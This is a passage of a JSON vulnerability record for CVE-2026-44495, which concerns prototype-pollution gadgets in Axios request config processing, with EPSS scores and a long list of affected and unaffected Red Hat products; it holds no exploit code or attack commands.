"title": "Axios: Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44495",
"datePublished": "2026-06-11T15:33:12.433Z",
"dateReserved": "2026-05-06T18:28:20.885Z",
"dateUpdated": "2026-07-30T12:05:02.835Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-44495",
"date": "2026-07-30",
"epss": "0.00495",
"percentile": "0.39721"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-44495\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-06-11T17:16:33.450\",\"lastModified\":\"2026-07-30T12:18:46.090\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"axios\",\"product\":\"axios\",\"versions\":[{\"version\":\"\u003e= 1.0.0, \u003c 1.15.2\",\"status\":\"affected\"},{\"version\":\"\u003e= 0.19.0, \u003c 0.31.1\",\"status\":\"affected\"}]}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"affectedData\":[{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2.5 for RHEL 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"automation-gateway\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2.5::el8\"],\"versions\":[{\"version\":\"0:2.5.20260715-1.el8ap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2.5 for RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"automation-gateway\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2.5::el9\"],\"versions\":[{\"version\":\"0:2.5.20260715-1.el9ap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2.6 for RHEL 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"automation-platform-ui\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2.6::el9\"],\"versions\":[{\"version\":\"0:2.6.10-1.el9ap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Data Grid 8.6.2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"axios\",\"cpes\":[\"cpe:/a:redhat:jboss_data_grid:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"multicluster engine for Kubernetes 2.10\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"multicluster-engine/console-mce-rhel9\",\"cpes\":[\"cpe:/a:redhat:multicluster_engine:2.10::el9\"],\"versions\":[{\"version\":\"1784312384\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"multicluster engine for Kubernetes 2.6\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"multicluster-engine/console-mce-rhel9\",\"cpes\":[\"cpe:/a:redhat:multicluster_engine:2.6::el9\"],\"versions\":[{\"version\":\"1783351002\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"multicluster engine for Kubernetes 2.8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"multicluster-engine/console-mce-rhel9\",\"cpes\":[\"cpe:/a:redhat:multicluster_engine:2.8::el9\"],\"versions\":[{\"version\":\"1782157085\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"multicluster engine for Kubernetes 2.9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"multicluster-engine/console-mce-rhel9\",\"cpes\":[\"cpe:/a:redhat:multicluster_engine:2.9::el9\"],\"versions\":[{\"version\":\"1783348181\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2.11\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhacm2/console-rhel9\",\"cpes\":[\"cpe:/a:redhat:acm:2.11::el9\"],\"versions\":[{\"version\":\"1783350952\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2.13\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhacm2/console-rhel9\",\"cpes\":[\"cpe:/a:redhat:acm:2.13::el9\"],\"versions\":[{\"version\":\"1782157514\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2.14\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhacm2/console-rhel9\",\"cpes\":[\"cpe:/a:redhat:acm:2.14::el9\"],\"versions\":[{\"version\":\"1783451729\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2.15\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhacm2/console-rhel9\",\"cpes\":[\"cpe:/a:redhat:acm:2.15::el9\"],\"versions\":[{\"version\":\"1784578812\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Security 4.9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"advanced-cluster-security/rhacs-main-rhel8\",\"cpes\":[\"cpe:/a:redhat:advanced_cluster_security:4.9::el8\"],\"versions\":[{\"version\":\"1779371594\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Security for Kubernetes 4.10\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"advanced-cluster-security/rhacs-main-rhel8\",\"cpes\":[\"cpe:/a:redhat:advanced_cluster_security:4.10::el8\"],\"versions\":[{\"version\":\"1779293013\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2.6\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"ansible-automation-platform-26/gateway-rhel9\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2.6::el9\"],\"versions\":[{\"version\":\"1782761510\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2.7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"ansible-automation-platform-27/gateway-rhel9\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2.7::el9\"],\"versions\":[{\"version\":\"1783919486\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Container Native Virtualization 4.13\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"container-native-virtualization/kubevirt-console-plugin-rhel9\",\"cpes\":[\"cpe:/a:redhat:container_native_virtualization:4.13::el9\"],\"versions\":[{\"version\":\"1782426816\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Container Native Virtualization 4.14\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"container-native-virtualization/kubevirt-console-plugin-rhel9\",\"cpes\":[\"cpe:/a:redhat:container_native_virtualization:4.14::el9\"],\"versions\":[{\"version\":\"1781807944\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Developer Hub 1.10\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhdh/rhdh-hub-rhel9\",\"cpes\":[\"cpe:/a:redhat:rhdh:1.10::el9\"],\"versions\":[{\"version\":\"1783448184\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Developer Hub 1.9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhdh/rhdh-hub-rhel9\",\"cpes\":[\"cpe:/a:redhat:rhdh:1.9::el9\"],\"versions\":[{\"version\":\"1781187342\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"1782761244\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Discovery 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"discovery/discovery-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:discovery:2::el9\"],\"versions\":[{\"version\":\"1782166952\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Migration Toolkit 1.8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhmtc/openshift-migration-ui-rhel8\",\"cpes\":[\"cpe:/a:redhat:rhmt:1.8::el8\"],\"versions\":[{\"version\":\"1783690532\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.14\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-console\",\"cpes\":[\"cpe:/a:redhat:openshift:4.14::el9\"],\"versions\":[{\"version\":\"1782911957\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.15\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-console\",\"cpes\":[\"cpe:/a:redhat:openshift:4.15::el9\"],\"versions\":[{\"version\":\"1782127091\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.16\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-console-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4.16::el9\"],\"versions\":[{\"version\":\"1782244020\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.20\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-monitoring-plugin-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4.20::el9\"],\"versions\":[{\"version\":\"1781695012\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.20\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-agent-installer-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4.20::el9\"],\"versions\":[{\"version\":\"1784148076\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.21\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-monitoring-plugin-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4.21::el9\"],\"versions\":[{\"version\":\"1781731914\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.21\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-agent-installer-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4.21::el9\"],\"versions\":[{\"version\":\"1784134078\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4.22\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift4/ose-agent-installer-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4.22::el9\"],\"versions\":[{\"version\":\"1784119173\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.29\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/dashboard-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.29::el9\"],\"versions\":[{\"version\":\"1782498792\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 2.6\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-ossmc-rhel8\",\"cpes\":[\"cpe:/a:redhat:service_mesh:2.6::el8\"],\"versions\":[{\"version\":\"1781937133\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 2.6\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-rhel8\",\"cpes\":[\"cpe:/a:redhat:service_mesh:2.6::el8\"],\"versions\":[{\"version\":\"1782287580\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.0\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-ossmc-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.0::el9\"],\"versions\":[{\"version\":\"1782201894\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.0\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.0::el9\"],\"versions\":[{\"version\":\"1782201833\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.1\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-ossmc-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.1::el9\"],\"versions\":[{\"version\":\"1782201696\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.1\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.1::el9\"],\"versions\":[{\"version\":\"1782201537\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-ossmc-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.2::el9\"],\"versions\":[{\"version\":\"1782201851\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.2::el9\"],\"versions\":[{\"version\":\"1782201812\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-ossmc-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.3::el9\"],\"versions\":[{\"version\":\"1782231869\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Service Mesh 3.3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"openshift-service-mesh/kiali-rhel9\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3.3::el9\"],\"versions\":[{\"version\":\"1782201466\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Quay 3.1\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"quay/quay-rhel8\",\"cpes\":[\"cpe:/a:redhat:quay:3.10::el8\"],\"versions\":[{\"version\":\"1783750447\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Quay 3.12\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"quay/quay-rhel8\",\"cpes\":[\"cpe:/a:redhat:quay:3.12::el8\"],\"versions\":[{\"version\":\"1783751865\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"},{\"version\":\"1784353904\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Quay 3.15\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"quay/quay-rhel8\",\"cpes\":[\"cpe:/a:redhat:quay:3.15::el8\"],\"versions\":[{\"version\":\"1784351966\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Quay 3.16\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"quay/quay-rhel9\",\"cpes\":[\"cpe:/a:redhat:quay:3.16::el9\"],\"versions\":[{\"version\":\"1783955846\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Quay 3.9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"quay/quay-rhel8\",\"cpes\":[\"cpe:/a:redhat:quay:3.9::el8\"],\"versions\":[{\"version\":\"1784125838\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"axios\",\"cpes\":[\"cpe:/a:redhat:cryostat:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"cryostat-openshift-console-plugin-npm\",\"cpes\":[\"cpe:/a:redhat:cryostat:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Gatekeeper 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"gatekeeper/gatekeeper-rhel9\",\"cpes\":[\"cpe:/a:redhat:gatekeeper:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Migration Toolkit for Applications 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"mta/mta-ui-rhel8\",\"cpes\":[\"cpe:/a:redhat:migration_toolkit_applications:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Migration Toolkit for Applications 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"mta/mta-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:migration_toolkit_applications:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Network Observability Operator\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"network-observability/network-observability-console-plugin-pf4-rhel9\",\"cpes\":[\"cpe:/a:redhat:network_observ_optr:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Network Observability Operator\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"network-observability/network-observability-console-plugin-pf5-rhel9\",\"cpes\":[\"cpe:/a:redhat:network_observ_optr:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Network Observability Operator\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"network-observability/network-observability-console-plugin-rhel9\",\"cpes\":[\"cpe:/a:redhat:network_observ_optr:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Pipelines\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-pipelines/pipelines-hub-ui-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_pipelines:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Pipelines\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-pipelines/pipelines-hub-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_pipelines:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Service Mesh 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-service-mesh/kiali-operator-bundle\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Service Mesh 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-service-mesh/kiali-rhel9-operator\",\"cpes\":[\"cpe:/a:redhat:service_mesh:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp21/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp22/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp2/system-rhel7\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp2/system-rhel8\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp2/system-rhel9\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Broker 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"axios\",\"cpes\":[\"cpe:/a:redhat:amq_broker:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"ansible-automation-platform/automation-dashboard-rhel9\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"automation-controller\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"automation-hub\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"python3.11-galaxy-ng\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"python3.12-galaxy-ng\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"python3x-galaxy-ng\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Ansible Automation Platform 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"python-galaxy-ng\",\"cpes\":[\"cpe:/a:redhat:ansible_automation_platform:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel for Spring Boot 